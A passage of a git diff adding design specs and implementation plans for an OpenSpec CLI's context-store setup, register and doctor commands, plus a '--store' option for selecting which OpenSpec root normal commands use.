Whether the context-store identity metadata exists and matches the store id. +- Whether the local registry already knows this id and path. +- Exactly which files or directories were created by this operation. +- Whether a refusal means "unsafe folder", "not an OpenSpec root", "missing + confirmation", "metadata problem", or "already registered". + +Where the work lives: + +- User-authored planning work lives under `openspec/`. +- Portable context-store identity lives in `.openspec-store/store.yaml`. +- Machine-local registration state stays in the local context-store registry. +- Old beta files may exist beside these files, but this slice ignores them. + +How the user knows it worked: + +- Human output names the store id and root path, then points toward normal + OpenSpec specs and changes. +- JSON output reports exact resulting state and relative `created_files`. +- Re-running the same command reports "already registered", "already exists", + or "nothing to change" without mutating files. +- `context-store doctor --json` reports `openspec_root` separately from + `metadata` and `git`. + +## Goal + +Make `context-store setup`, `context-store register`, and +`context-store doctor` agree on one product shape: + +- Setup creates or preserves a standalone OpenSpec root, then adds thin + context-store identity metadata. +- Register remembers an existing local root or clone. It does not initialize + planning files. +- Doctor diagnoses root health, metadata health, and Git health as separate + concerns. + +## Non-Goals + +- Do not add store selectors to core lifecycle commands. +- Do not create initiative links, initiative collections, or workspace-owned + planning state. +- Do not install generated agent skills, slash commands, onboarding files, or + tool configuration. +- Do not call full `openspec init` from context-store setup or register. +- Do not add clone, pull, push, sync, branch, worktree, dashboard, apply, + verify, or archive orchestration. +- Do not migrate, clean up, preserve, repair, or back-compat old beta planning + shapes. +- Do not rewrite public terminology or broad docs in this slice. + +## Locked Direction + +- A healthy OpenSpec root contains `openspec/`, a config file + (`openspec/config.yaml` or `openspec/config.yml`), `openspec/specs/`, + `openspec/changes/`, and `openspec/changes/archive/`. +- When setup creates config, it writes `openspec/config.yaml` with the default + `spec-driven` schema. +- Setup accepts missing directories, empty directories, Git-only directories, + and existing healthy OpenSpec roots. +- Setup rejects arbitrary non-empty unmarked folders without writing root or + metadata files. +- Setup rejects nested Git paths for this slice. Keep that rule isolated so a + later slice can relax it if the product direction changes. +- Register is for an existing local root or clone. It does not scaffold + planning files. +- Registering a cloned context store with existing `.openspec-store/store.yaml` + should succeed and only update local registry state when needed. +- Registering a healthy OpenSpec root without context-store identity should ask + before turning it into the named context store. +- For non-interactive conversion, use `--yes` on `context-store register` as the + explicit confirmation for this slice. Without it, JSON/non-interactive mode + refuses before writing metadata or registry state. +- Old beta files such as `initiatives/`, `.openspec-workspace/`, + `workspace.yaml`, `AGENTS.md`, `.codex/`, `.claude/`, and `.cursor/` are + ignored. They are not migrated, deleted, repaired, or treated as proof of a + healthy root. +- Re-running setup or register for the same healthy id and path is a no-op + success with no duplicate registry entries and empty `created_files`. +- Doctor reports root health under `openspec_root`, separate from `metadata` + and `git`, and never repairs while inspecting. + +## User Workflows + +### Fresh Setup + +A human or agent asks OpenSpec to create a new context store in a missing or +empty directory. + +Expected result: + +- The directory exists. +- `.openspec-store/store.yaml` exists. +- `openspec/config.yaml` exists with `schema: spec-driven`. +- `openspec/specs/`, `openspec/changes/`, and + `openspec/changes/archive/` exist. +- JSON `created_files` lists the relative paths created by setup. +- No initiative, workspace, agent, slash-command, or tool files are created. + +### Git-Only Setup + +A human has already run `git init` or cloned an empty repo, so the target folder +contains only `.git/`. + +Expected result: + +- Setup treats the folder as safe fresh input. +- `.git/` is preserved. +- The normal OpenSpec root and context-store identity are created. +- The command does not stage, commit, push, create remotes, or define Git + workflow policy. + +### Existing Healthy Root Setup + +A human already has a standalone OpenSpec root and wants it to become a context +store. + +Expected result: + +- Existing config, specs, changes, archives, and user-authored content are + preserved. +- Missing `.openspec-store/store.yaml` is created. +- Existing valid `.openspec-store/store.yaml` is preserved. +- Setup does not overwrite config just because the command ran. + +### Teammate Clone Register + +A teammate created a context store, pushed it to GitHub, and the human cloned it +locally. + +Expected result: + +- `context-store register <path>` validates the clone as a healthy OpenSpec + root with valid context-store identity. +- The local registry remembers that id and path. +- The cloned planning files are not created, rewritten, migrated, or repaired. +- Re-registering the same id and path reports that it is already registered or + has nothing to change. + +### Convert Healthy Root Register + +A human has a normal OpenSpec root that does not yet have +`.openspec-store/store.yaml`. + +Expected result: + +- Interactive register asks whether to turn that root into the named context + store. +- If confirmed, register writes only the identity metadata and local registry + entry. +- If declined, register writes nothing. +- JSON/non-interactive register refuses unless explicit confirmation is passed + with `--yes`. + +### Doctor Without Repair + +A human or agent wants to know whether registered stores are usable. + +Expected result: + +- Doctor reports OpenSpec-root health separately from metadata and Git health. +- Missing `openspec/changes/archive/` appears under `openspec_root`. +- Doctor does not create missing directories or repair files. + +## Command Behavior + +### `context-store setup` + +Setup creates or preserves the context-store root for this machine. + +Accept: + +- Missing target directory. +- Empty target directory. +- Existing target directory that contains only `.git/`. +- Existing healthy OpenSpec root. +- Existing root with matching valid context-store identity. + +Reject: + +- A file path. +- An arbitrary non-empty unmarked folder. +- A setup target nested inside another Git repository. +- A root with invalid or conflicting `.openspec-store/store.yaml`. + +Mutations: + +- Create only missing root-shape files and directories. +- Create `.openspec-store/store.yaml` when missing. +- Register the store in the machine-local registry. +- Preserve existing user-authored config, specs, changes, archives, and old + beta files. + +Human output should stay small: + +```text +Context store ready + +ID: team-context +Location: /Users/me/src/team-context +OpenSpec root: ready +Registry: registered + +Next: use normal OpenSpec specs and changes in this store. +``` + +JSON output should report exact state, including relative `created_files`. + +### `context-store register` + +Register remembers an existing local context store path. It is not an init +command. + +Accept: + +- An existing healthy OpenSpec root with valid `.openspec-store/store.yaml`. +- An existing healthy OpenSpec root without identity only after clear + confirmation. + +Reject: + +- Missing paths. +- Partial OpenSpec roots. +- Arbitrary directories. +- Beta-only directories. +- Invalid or mismatched context-store identity. +- Healthy roots without identity in JSON/non-interactive mode unless `--yes` + is passed. + +Mutations: + +- With existing identity, update local registry only when needed. +- With confirmed conversion, create `.openspec-store/store.yaml` and update the + local registry. +- Never create `openspec/` planning files during register. + +Interactive conversion prompt should be direct: + +```text +Turn this OpenSpec root into context store "team-context"? +``` + +### `context-store doctor` + +Doctor is the non-mutating health surface. + +It checks: + +- Registered root path exists and is a directory. +- `.openspec-store/store.yaml` exists, parses, and matches the registry id. +- `openspec/` exists. +- `openspec/config.yaml` or `openspec/config.yml` exists. +- `openspec/specs/` exists. +- `openspec/changes/` exists. +- `openspec/changes/archive/` exists. +- Git health, where existing doctor behavior already reports it. + +It does not: + +- Create missing OpenSpec directories. +- Create missing config. +- Rewrite metadata. +- Repair registry entries. +- Migrate beta files. + +## Agent / JSON Contract + +Setup and register mutation output should keep the existing `created_files` +field, but treat it as "relative paths created by this operation." It may list +directories and files. + +For a no-op success: + +```json +{ + "created_files": [], + "status": [ + { + "code": "already_registered", + "severity": "info", + "message": "Context store is already registered at this path." + } + ] +} +``` + +For doctor, each store should include a distinct `openspec_root` section beside +`metadata` and `git`: + +```json +{ + "id": "team-context", + "root": "/Users/me/src/team-context", + "openspec_root": { + "present": true, + "config": { + "present": true, + "path": "openspec/config.yaml" + }, + "specs": { + "present": true + }, + "changes": { + "present": true + }, + "archive": { + "present": false + }, + "status": [ + { + "code": "openspec_archive_missing", + "severity": "error", + "message": "Missing openspec/changes/archive/." + } + ] + }, + "metadata": {}, + "git": {} +} +``` + +Exact diagnostic wording can follow existing CLI conventions, but the JSON +shape must let agents distinguish root health from metadata and Git health. + +## Implementation Plan + +### 1. Add An OpenSpec Root Helper + +Create `src/core/openspec-root.ts`. + +Responsibilities: + +- Define canonical relative paths for a normal OpenSpec root. +- Inspect root health without mutating files. +- Return a healthy/unhealthy result with diagnostics suitable for doctor. +- Ensure the root shape for setup only. +- Create default `openspec/config.yaml` with `schema: spec-driven` when setup + needs config. +- Preserve existing `config.yaml` or `config.yml`. +- Track a created-path ledger for files and directories. +- Roll back only ledger-created files and empty directories on failure. + +This helper should know nothing about context-store registry state, Git policy, +prompts, agents, slash commands, workspaces, or initiatives. + +### 2. Share Root Scaffolding With Init Safely + +Refactor the directory and config creation pieces from `src/core/init.ts` into +the new helper where useful. + +Keep these behaviors separate: + +- `openspec init` may keep its current prompts, non-interactive config behavior, + legacy cleanup, tool detection, and generated assets. +- `context-store setup` uses only root scaffolding and default config creation. +- `context-store register` does not use root scaffolding. + +Do not call `InitCommand.execute()` from context-store operations. + +### 3. Rework Setup Operations + +Update `src/core/context-store/operations.ts` so setup classifies the target +before writing: + +- Missing path: create root and full OpenSpec shape. +- Empty path: create full OpenSpec shape. +- Git-only path: preserve `.git/`, create full OpenSpec shape. +- Healthy OpenSpec root: preserve root content, add identity if missing. +- Matching context-store identity: preserve and no-op when everything is + already healthy. +- Arbitrary non-empty path: refuse without writes. +- Nested Git path: refuse without writes for this slice. + +Then perform mutations in a safe order: + +1. Ensure the OpenSpec root shape if setup is allowed. +2. Write missing context-store identity metadata. +3. Commit the local registry update. +4. On failure, roll back only paths created in this operation. + +Update setup JSON so `created_files` includes both OpenSpec-root paths and +`.openspec-store/store.yaml` when they were created. + +### 4. Rework Register Operations + +Update register so it begins by inspecting the existing path: + +- The path must exist and be a healthy OpenSpec root. +- Existing valid `.openspec-store/store.yaml` supplies or confirms the store id. +- A healthy OpenSpec root without identity can be converted only after user + confirmation. +- JSON/non-interactive conversion requires `--yes`. +- Missing, partial, arbitrary, beta-only, invalid-metadata, or conflicting roots + fail before registry mutation. + +Register should not create `openspec/`, `config.yaml`, `specs/`, `changes/`, or +`archive/`. It only writes `.openspec-store/store.yaml` for confirmed +conversion, then updates the local registry. + +### 5. Make Idempotency Explicit + +Update registry and operation behavior so same id plus same root path is a +stable no-op success. + +Expected no-op behavior: + +- No metadata rewrite. +- No config rewrite. +- No duplicate registry entry. +- `created_files: []`. +- Human output says already registered, already exists, or nothing to change. +- JSON includes an info diagnostic or status entry that agents can interpret. + +Same id with a different path and same path under a different id should keep +the existing conflict protections unless the spec for a future replacement flow +changes that. + +### 6. Extend Doctor Output + +Extend `ContextStoreInspection` in `src/core/context-store/operations.ts` with +OpenSpec-root inspection results. + +Update `src/commands/context-store.ts` output types and printers so: + +- Human doctor output names OpenSpec-root health separately. +- JSON doctor output includes `openspec_root`. +- Metadata diagnostics remain metadata diagnostics. +- Git diagnostics remain Git diagnostics. +- Doctor never calls the root ensure/scaffold helper. + +### 7. Remove Old Initiative-Oriented Guidance + +Update setup/register human output and help text in `src/commands/context-store.ts` +so the next step points toward normal OpenSpec specs and changes. + +Avoid language like: + +- "create an initiative" +- "workspace planning" +- "collections" +- generated agent/tool setup + +Use language like: + +- "Use normal OpenSpec specs and changes in this store." +- "This store is a standalone OpenSpec root." + +### 8. Keep Old Beta Files Ignored + +Do not add migration or cleanup logic for old beta files. + +If old beta files exist inside an otherwise healthy root, setup/register should +leave them byte-for-byte unchanged. + +If old beta files are the only signal in a directory, setup/register should not +treat that directory as healthy or registered. The folder is still arbitrary +non-empty input unless the new root shape is present. + +## Test Plan + +### Root Helper Tests + +Add focused helper coverage, likely in `test/core/openspec-root.test.ts`: + +- Healthy root with `config.yaml`. +- Healthy root with `config.yml`. +- Missing config. +- Missing `specs/`. +- Missing `changes/`. +- Missing `changes/archive/`. +- Ensure creates root shape and default config. +- Ensure preserves existing config and user-authored files. +- Rollback removes only ledger-created files and empty directories. + +### Command Tests + +Update `test/commands/context-store.test.ts`: + +- Setup JSON for a missing directory expects the full root shape and + `created_files`. +- Setup accepts an empty directory. +- Setup accepts a Git-only directory and preserves `.git/`. +- Setup preserves an existing healthy OpenSpec root and config edits. +- Setup creates config in JSON/non-interactive mode without tool selection. +- Setup rejects arbitrary non-empty folders and creates no OpenSpec files. +- Setup rejects nested Git paths, including the old interactive override path. +- Registering a plain folder now fails. +- Registering a cloned healthy context store succeeds without planning-file + mutation. +- Registering a healthy root without identity prompts for conversion. +- Declining conversion writes nothing. +- JSON/non-interactive conversion without `--yes` refuses. +- JSON/non-interactive conversion with `--yes` writes identity and registry. +- Repeating setup/register produces `created_files: []` and no duplicate + registry entry. +- Setup/register do not create `initiatives/`, `.openspec-workspace/`, + `workspace.yaml`, `AGENTS.md`, `.codex/`, `.claude/`, or `.cursor/`. +- Old beta files inside healthy roots are ignored and preserved. +- Beta-only folders are rejected as unsafe or non-root. +- Doctor JSON includes `openspec_root` separate from `metadata` and `git`. +- Doctor reports missing archive under `openspec_root` without creating it. + +### Core Context-Store Tests + +Add or update operation-level tests around: + +- `prepareContextStoreSetup`. +- `setupPreparedContextStore`. +- `registerExistingContextStore`. +- `doctorContextStores`. +- Registry no-op behavior for same id and same path. +- Registry conflict behavior for same id different path and same path different + id. +- Failure cleanup when registry commit fails after setup/register created files. + +### Regression Tests + +Keep existing init and workspace tests honest: + +- `openspec init` still creates its expected files and generated assets. +- Context-store setup/register do not accidentally inherit those generated + assets. +- Existing metadata validation tests still enforce the thin identity shape. + +## Verification + +Run targeted tests first: + +```bash +pnpm exec vitest run test/core/openspec-root.test.ts +pnpm exec vitest run test/core/context-store/registry.test.ts +pnpm exec vitest run test/commands/context-store.test.ts +pnpm exec vitest run test/core/init.test.ts +``` + +Then run the broader repo checks: + +```bash +pnpm test +pnpm run build +``` + +## Main Risks + +- Rollback is the easiest place to damage user trust. Use a ledger and remove + only files/directories created by the current operation. +- Register currently accepts arbitrary folders. Changing that behavior is + intentional, but tests and user-facing errors need to make the new rule clear. +- Nested Git rejection is locked for this slice but may change later. Keep the + check small and easy to replace. +- Full `openspec init` is tempting to reuse, but it carries unrelated behavior. + Use only root scaffolding. +- JSON shape changes should be explicit enough for agents while preserving + existing fields where practical. + +## Done When + +- A fresh setup leaves a normal OpenSpec root plus + `.openspec-store/store.yaml`. +- Setup accepts Git-only directories and existing healthy roots. +- Setup rejects arbitrary non-empty folders and nested Git paths without writes. +- Register succeeds for cloned context stores with existing identity metadata. +- Register can turn a healthy OpenSpec root into a context store only after + confirmation. +- Register refuses missing, partial, arbitrary, beta-only, or unconfirmed roots + without writes. +- Doctor reports `openspec_root`, `metadata`, and `git` as separate health + areas. +- Re-running setup/register is a no-op success for the same healthy id and path. +- User-authored config, specs, changes, archives, identity metadata, and old + beta files are preserved. +- Setup/register do not create initiative, workspace, agent, slash-command, or + tool-generation artifacts. +- Targeted tests, `pnpm test`, and `pnpm run build` pass. diff --git a/openspec/work/simplify-context-and-workspace-model/slices/store-root-parity/spec.md b/openspec/work/simplify-context-and-workspace-model/slices/store-root-parity/spec.md new file mode 100644 index 0000000000..b8592e8162 --- /dev/null +++ b/openspec/work/simplify-context-and-workspace-model/slices/store-root-parity/spec.md @@ -0,0 +1,272 @@ +# Context Store As Standalone OpenSpec Root Spec + +## Outcome + +`context-store setup` and `context-store register` treat a context store as a +normal standalone OpenSpec root with a thin identity file. + +After setup or registration, the durable planning state lives in normal +OpenSpec artifacts: config, specs, changes, and archived changes. The +`.openspec-store/` directory remains identity or local registry metadata, not a +separate planning model. + +The existing beta context-store, initiative, and workspace shapes are not a +compatibility contract. This slice ignores old beta files unless they are the +thin `.openspec-store/store.yaml` identity file used by the new model. + +## User Experience + +A human or agent can create or register a standalone OpenSpec repo and then see +the same root shape they would expect from a normal OpenSpec project: + +```text +context-store-root/ + .openspec-store/ + store.yaml + openspec/ + config.yaml + specs/ + changes/ + archive/ +``` + +The command output and help point users toward normal OpenSpec specs and +changes, not initiatives, workspace-owned planning, generated agent files, or +collection-specific state. + +In plain terms: + +```text +context store = normal OpenSpec root + .openspec-store/store.yaml +``` + +## Scope + +In scope: + +- Root shape parity for `context-store setup` and `context-store register`. +- Default config creation during setup. +- Safe handling of missing, empty, Git-only, and existing healthy OpenSpec-root + directories. +- Registering cloned or existing context stores on the local machine. +- Turning a healthy standalone OpenSpec root into a context store only after + clear user confirmation. +- Separate `context-store doctor` reporting for OpenSpec-root health. +- Tests that verify setup, register, doctor, idempotency for the new model, and + unsafe-folder behavior. + +Out of scope: + +- Store selectors for core lifecycle commands. +- Creating initiative links or initiative collections. +- Workspace-owned planning behavior. +- Agent/tool installation, generated commands, migration, or onboarding flows. +- Clone, pull, push, sync, branch, worktree, dashboard, apply, verify, or archive + orchestration. +- Migrating, preserving, or cleaning up old beta context-store, initiative, or + workspace file shapes. +- Public terminology cleanup or broad documentation rewrites. + +## Acceptance Criteria + +### Setup Ensures A Normal Root + +`context-store setup` creates or preserves a healthy OpenSpec root. A healthy +OpenSpec root contains `openspec/`, a config file +(`openspec/config.yaml` or `openspec/config.yml`), `openspec/specs/`, +`openspec/changes/`, and `openspec/changes/archive/`. + +When setup creates a config file, it creates `openspec/config.yaml` with the +default `spec-driven` schema. + +#### Scenario: Setting Up A Missing Or Empty Store + +- **GIVEN** a missing directory or empty directory +- **WHEN** the user runs `context-store setup` +- **THEN** OpenSpec leaves the directory with `.openspec-store/store.yaml` +- **AND** `openspec/config.yaml` exists with the default `spec-driven` schema +- **AND** `openspec/specs/`, `openspec/changes/`, and + `openspec/changes/archive/` exist +- **AND** JSON output reports the relative paths created by the operation in + `created_files` + +#### Scenario: Accepting A Git-Only Directory + +- **GIVEN** an existing directory that contains only `.git/` +- **WHEN** the user runs `context-store setup` +- **THEN** OpenSpec treats the directory as a safe fresh store +- **AND** OpenSpec preserves `.git/` +- **AND** OpenSpec creates the context-store identity metadata and healthy + OpenSpec root + +#### Scenario: Preserving An Existing Healthy Root + +- **GIVEN** an initialized standalone OpenSpec root +- **WHEN** the user runs `context-store setup` +- **THEN** OpenSpec preserves existing config, specs, changes, and archived + changes +- **AND** OpenSpec creates `.openspec-store/store.yaml` when identity metadata + is missing + +#### Scenario: Creating Default Config Non-Interactively + +- **GIVEN** setup runs in non-interactive or JSON mode without tool selection +- **AND** no `openspec/config.yaml` or `openspec/config.yml` exists +- **WHEN** setup completes successfully +- **THEN** `openspec/config.yaml` exists with the default `spec-driven` schema + +#### Scenario: Preserving Existing Config + +- **GIVEN** `openspec/config.yaml` or `openspec/config.yml` already exists +- **WHEN** setup completes successfully +- **THEN** OpenSpec preserves the existing config file + +#### Scenario: Rejecting Unsafe Folders + +- **GIVEN** an arbitrary non-empty unmarked folder +- **WHEN** the user runs `context-store setup` +- **THEN** OpenSpec rejects it without treating it as a store root +- **AND** it does not create context-store metadata or OpenSpec-root files in + that folder + +#### Scenario: Rejecting Nested Git Setup Paths + +- **GIVEN** a setup target path inside another Git repository +- **WHEN** the user runs `context-store setup` +- **THEN** OpenSpec rejects the path as unsafe for this slice +- **AND** it does not create context-store metadata or OpenSpec-root files in + that path + +### Register Requires An Existing Root + +`context-store register` remembers a local clone or existing local root on this +machine. It does not initialize planning files. + +#### Scenario: Registering A Cloned Context Store + +- **GIVEN** an existing healthy OpenSpec root with `.openspec-store/store.yaml` +- **WHEN** the user runs `context-store register` +- **THEN** OpenSpec registers it +- **AND** OpenSpec writes local registry state only when needed +- **AND** OpenSpec does not create or rewrite OpenSpec planning files + +#### Scenario: Turning A Healthy Root Into A Context Store + +- **GIVEN** an existing healthy OpenSpec root without `.openspec-store/store.yaml` +- **WHEN** the user runs `context-store register` +- **THEN** OpenSpec asks whether to turn the root into the named context store +- **AND** if the user confirms, OpenSpec creates `.openspec-store/store.yaml` + and registers the store locally +- **AND** if the user declines, OpenSpec does not write metadata or registry + state + +#### Scenario: Refusing Unconfirmed Non-Interactive Conversion + +- **GIVEN** an existing healthy OpenSpec root without `.openspec-store/store.yaml` +- **WHEN** the user runs `context-store register` in non-interactive or JSON mode + without explicit confirmation +- **THEN** OpenSpec refuses to convert the root into a context store +- **AND** OpenSpec does not write metadata or registry state + +#### Scenario: Refusing Arbitrary Directories + +- **GIVEN** a missing directory, partial OpenSpec root, or existing directory + that is not a healthy OpenSpec root +- **WHEN** the user runs `context-store register` +- **THEN** OpenSpec refuses to register it +- **AND** OpenSpec does not silently initialize it as an OpenSpec root +- **AND** OpenSpec does not create `.openspec-store/store.yaml` or local + registry state + +### Metadata Stays Thin + +Context-store metadata remains identity or registry metadata only. + +#### Scenario: Avoiding Old Planning Models In This Slice + +- **WHEN** setup or register completes +- **THEN** OpenSpec does not create initiative links, initiative collections, or + workspace-owned planning state +- **AND** OpenSpec does not install generated agent skills, slash commands, or + tool configuration files into the store +- **AND** OpenSpec does not run full `openspec init`, tool detection, legacy + cleanup, migration, skill generation, command generation, or onboarding flows + +#### Scenario: Ignoring Old Beta Files + +- **GIVEN** a directory contains old beta files such as `initiatives/`, + `.openspec-workspace/`, `workspace.yaml`, `AGENTS.md`, `.codex/`, `.claude/`, + or `.cursor/` +- **WHEN** setup or register succeeds for the new model +- **THEN** OpenSpec ignores those files for this slice +- **AND** OpenSpec does not migrate, upgrade, delete, or repair those files +- **AND** OpenSpec does not treat those files as proof that the folder is a + healthy OpenSpec root or valid context store +- **AND** OpenSpec does not preserve old beta planning behavior as a requirement + +#### Scenario: Validating Thin Identity Metadata + +- **GIVEN** `.openspec-store/store.yaml` exists +- **WHEN** setup, register, or doctor reads it +- **THEN** OpenSpec treats it as the context-store identity file +- **AND** the file must match the thin identity shape for the new model +- **AND** invalid or mismatched identity metadata is reported as a metadata issue + +### Doctor Separates Root Health + +`context-store doctor` reports OpenSpec-root health separately from +context-store metadata and Git health. In JSON output, each store includes a +distinct `openspec_root` section. + +#### Scenario: Reporting OpenSpec Root Health + +- **WHEN** doctor inspects a context store +- **THEN** the report covers the `openspec/` directory, + `openspec/config.yaml` or `openspec/config.yml`, `openspec/specs/`, + `openspec/changes/`, and `openspec/changes/archive/` +- **AND** root-health issues are distinguishable from metadata and Git issues in + human and JSON output +- **AND** JSON output includes `openspec_root` separately from `metadata` and + `git` +- **AND** doctor does not mutate files + +#### Scenario: Reporting Without Repairing + +- **GIVEN** a registered context store has valid metadata and Git state but is + missing `openspec/changes/archive/` +- **WHEN** doctor inspects the context store +- **THEN** doctor reports the missing archive directory under `openspec_root` +- **AND** doctor does not create `openspec/changes/archive/` + +### Safety, Not Beta Compatibility + +This slice protects user-authored files and repeatable command behavior. It does +not treat previous beta context-store behavior as a stable surface. + +#### Scenario: Repeating Setup Or Register + +- **GIVEN** the same context-store id and path are already registered and the + OpenSpec root is healthy +- **WHEN** setup or register runs again for that root +- **THEN** OpenSpec reports that the store is already registered, already exists, + or has nothing to change +- **AND** OpenSpec does not mutate files just to prove the command worked +- **AND** JSON output reports no newly created files for the no-op operation +- **AND** OpenSpec does not duplicate registry entries + +#### Scenario: Preserving User Edits Across Reruns + +- **GIVEN** the user edits `openspec/config.yaml` or `openspec/config.yml` after + setup +- **WHEN** setup or register runs again for that root +- **THEN** OpenSpec preserves the edited config file +- **AND** OpenSpec preserves user-authored specs, changes, archived changes, and + valid identity metadata + +#### Scenario: Preserving User Content On Failure + +- **GIVEN** setup or register creates files or directories during an operation +- **WHEN** the operation fails before completion +- **THEN** OpenSpec removes only files and empty directories it created during + that operation +- **AND** OpenSpec preserves unrelated user content diff --git a/openspec/work/simplify-context-and-workspace-model/slices/store-root-selection/plan.md b/openspec/work/simplify-context-and-workspace-model/slices/store-root-selection/plan.md new file mode 100644 index 0000000000..f1b8d5a636 --- /dev/null +++ b/openspec/work/simplify-context-and-workspace-model/slices/store-root-selection/plan.md @@ -0,0 +1,571 @@ +# Store Root Selection For Normal Commands Plan + +## Status + +Implemented on `codex/store-root-selection`; tests pass; review follow-up is +fixed. Merge to `main` remains. + +This plan implements `spec.md` for slice 1.2 after the 2026-06-10 locked +decisions. The main product move is simple: + +```text +--store <id> selects an OpenSpec root. +``` + +A context store remains local registration and identity for a standalone +OpenSpec repo. Normal command behavior should read and write ordinary +`openspec/specs/`, `openspec/changes/`, and `openspec/changes/archive/` files in +the resolved root. + +## Source Of Truth + +Start from `spec.md`. + +Also keep these nearby artifacts in view: + +- `../../goal.md` +- `../../roadmap.md` +- `../store-root-parity/spec.md` +- `../store-root-parity/plan.md` + +The previous slice must be present first because this plan depends on healthy +registered context stores having the normal root shape: + +```text +context-store-root/ + .openspec-store/ + store.yaml + openspec/ + config.yaml + specs/ + changes/ + archive/ +``` + +Implementation should be stacked on the slice 1.1 branch/PR until it merges. +Do not start this slice from `main` unless `store-root-parity` has already +landed, because `src/core/openspec-root.ts` and the registry health behavior in +the code map come from that prerequisite work. + +## User-Facing Frame + +What the human wants: + +- "I am in an app repo, but the OpenSpec work lives in my standalone planning + repo." +- "Use the registered store I named, not a nearby accidental `openspec/` folder." +- "Do not make me learn initiative or workspace planning just to put work in the + right Git repo." +- "Tell me which root was used without corrupting raw command output." + +What the agent needs to know: + +- Which OpenSpec root every command resolved. +- Whether the root came from `--store`, the nearest `openspec/`, or preserved + implicit-root behavior. +- Whether a selected store is unknown, unhealthy, or mismatched with its + `.openspec-store/store.yaml` identity. +- Whether a command wrote only the selected root's OpenSpec artifacts. + +How the user knows it worked: + +- With `--store team-context`, commands use the registered store's root. +- Human mode writes `Using OpenSpec root: team-context (/abs/path)` to stderr. +- JSON mode includes an additive `root` block with the shared shape. +- No new initiative metadata is created, and `openspec set change` is gone. + +## Goals + +- Add `--store <id>` to the supported top-level commands: + `new change`, `status`, `instructions`, `list`, `show`, `validate`, and + `archive`. +- Route those commands through one shared OpenSpec-root resolver. +- Demote leftover workspace view state for those commands. A + `.openspec-workspace-view.yaml` ancestor is not a normal command root. +- Preserve current no-store behavior per command except where the spec calls out + intentional changes. +- Remove initiative-link creation from `new change`. +- Remove `openspec set change` from CLI registration, help, completions metadata, + workflow exports if unused, and tests/docs references. +- Add `--json` to `archive` and include the shared root block in JSON success + payloads for all supported commands. + +## Non-Goals + +- Do not add `--store-path` selection. +- Do not add a sticky/default store for a project repo. +- Do not add code-repo relationship declarations, local mapping, views, clone, + pull, push, sync, branch, worktree, dashboard, apply, verify, or + orchestration. +- Do not delete initiative commands broadly or migrate legacy initiative data. +- Do not change deprecated noun-form commands such as `openspec change show` or + `openspec spec show`; they remain cwd-based and do not gain `--store`. +- Do not rewrite public docs or rename `context-store` terminology in this + slice. + +## Current Code Map + +Root and context-store plumbing: + +- `src/core/planning-home.ts` currently resolves repo roots, implicit roots, and + workspace planning homes. +- `src/core/context-store/registry.ts` resolves registered context-store ids and + detects metadata mismatches. Its current error fix text still mentions + `--store-path`, and unknown-store errors do not enumerate registered ids; the + normal-command resolver must update or wrap those errors. +- `src/core/openspec-root.ts` inspects healthy OpenSpec root shape. +- `src/core/context-store/operations.ts` powers setup/register/doctor. +- `src/commands/context-store.ts` prints setup/register human next-step output. + +Supported command surfaces: + +- `src/cli/index.ts` registers top-level `archive`, `validate`, `show`, + `status`, `instructions`, `new change`, and the soon-to-be-removed `set + change`. Top-level `show` currently uses `allowUnknownOption(true)`, so + `--store-path` must be registered explicitly there or it will be silently + ignored. +- `src/commands/workflow/new-change.ts` already uses planning-home resolution and + currently creates initiative metadata. It also calls + `assertInitiativeSelectorsHaveReference`, which must be removed or replaced so + `new change --store <id>` works without `--initiative`. +- `src/commands/workflow/status.ts` and + `src/commands/workflow/instructions.ts` already use planning-home paths. +- `src/core/list.ts`, `src/core/archive.ts`, `src/commands/show.ts`, + `src/commands/validate.ts`, `src/commands/change.ts`, `src/commands/spec.ts`, + and `src/utils/item-discovery.ts` still contain cwd-based `openspec/...` + assumptions. +- `src/core/completions/command-registry.ts` still advertises initiative-related + `new change` flags and the `set change` command. + +Existing tests to update or replace: + +- `test/commands/artifact-workflow.test.ts` covers `new change`, `status`, and + `instructions`. +- `test/commands/change-initiative-link.test.ts` covers behavior this slice + removes. +- `test/commands/context-store.test.ts` covers setup/register output. +- `test/core/planning-home.test.ts` covers workspace planning-home behavior that + normal commands will stop using. +- `test/commands/show.test.ts`, `test/commands/validate.test.ts`, + `test/core/list.test.ts`, `test/core/archive.test.ts`, and completion tests + cover the cwd-based command paths that need root injection. + +## Shared Resolver Design + +Add a shared resolver for normal OpenSpec commands. It can live in a new module +such as `src/core/root-selection.ts`, or replace the normal-command parts of +`planning-home.ts` if that keeps the code simpler. Prefer a new module if it +lets workspace-specific utilities remain untouched for later cleanup. + +Suggested types: + +```ts +type OpenSpecRootSource = 'store' | 'nearest' | 'implicit'; + +interface StoreSelectorOptions { + store?: string; + storePath?: string; +} + +interface ResolveOpenSpecRootOptions extends StoreSelectorOptions { + startPath?: string; + allowImplicitRoot?: boolean; + commandName: string; +} + +interface ResolvedOpenSpecRoot { + path: string; + changesDir: string; + specsDir: string; + archiveDir: string; + defaultSchema: 'spec-driven'; + source: OpenSpecRootSource; + storeId?: string; +} +``` + +Resolver rules: + +- If `storePath` is present, reject deliberately with guidance: + `openspec context-store register <path>` and then use `--store <id>`. +- If `store` is present, resolve it through the context-store registry. +- Unknown store errors should name the unknown id and list registered ids. +- Selected store roots must be inspected as healthy OpenSpec roots. Do not + scaffold or repair them. +- Selected store metadata id must match the registry id. +- Store health and metadata errors should point to `openspec context-store + doctor`. +- Use a normal-command wrapper around context-store registry resolution, or + update the registry errors directly, so this path never suggests + `--store-path` and always includes registered ids for unknown-store failures. +- Resolver check order is: validate store id format, read registry entry, verify + store metadata identity, then inspect the OpenSpec root shape. Metadata + missing or mismatched errors win before root-health diagnostics. +- If no store is selected, find the nearest ancestor containing `openspec/` and + ignore workspace view state. +- If no nearest root exists and registered stores exist, fail with a hint naming + the registered store ids plus `--store <id>` or `openspec init`. +- If no nearest root exists and no stores are registered, preserve each + command's current implicit/no-root behavior. + +Command-specific no-store behavior: + +- `new change` continues to allow an implicit root when no stores are registered. +- Commands that currently fail for missing `openspec/changes` or + `openspec/specs` should keep failing in that no-store/no-root case. +- Commands that currently report empty or unknown items in an implicit cwd should + keep that behavior unless the spec says otherwise. +- The shared resolver should expose enough knobs to preserve these differences + rather than normalizing them by accident. + +Compatibility bridge: + +- Workflow commands still expect the existing planning-home shape. Provide a + small adapter from `ResolvedOpenSpecRoot` to the existing `PlanningHome` + interface with `kind: 'repo'`. +- Do not return `kind: 'workspace'` from the normal command path in this slice. +- Leave workspace commands and old workspace utilities in place unless they are + directly blocking the supported command set. + +## Output Contract + +Add shared helpers for root output: + +```ts +interface RootOutput { + path: string; + source: 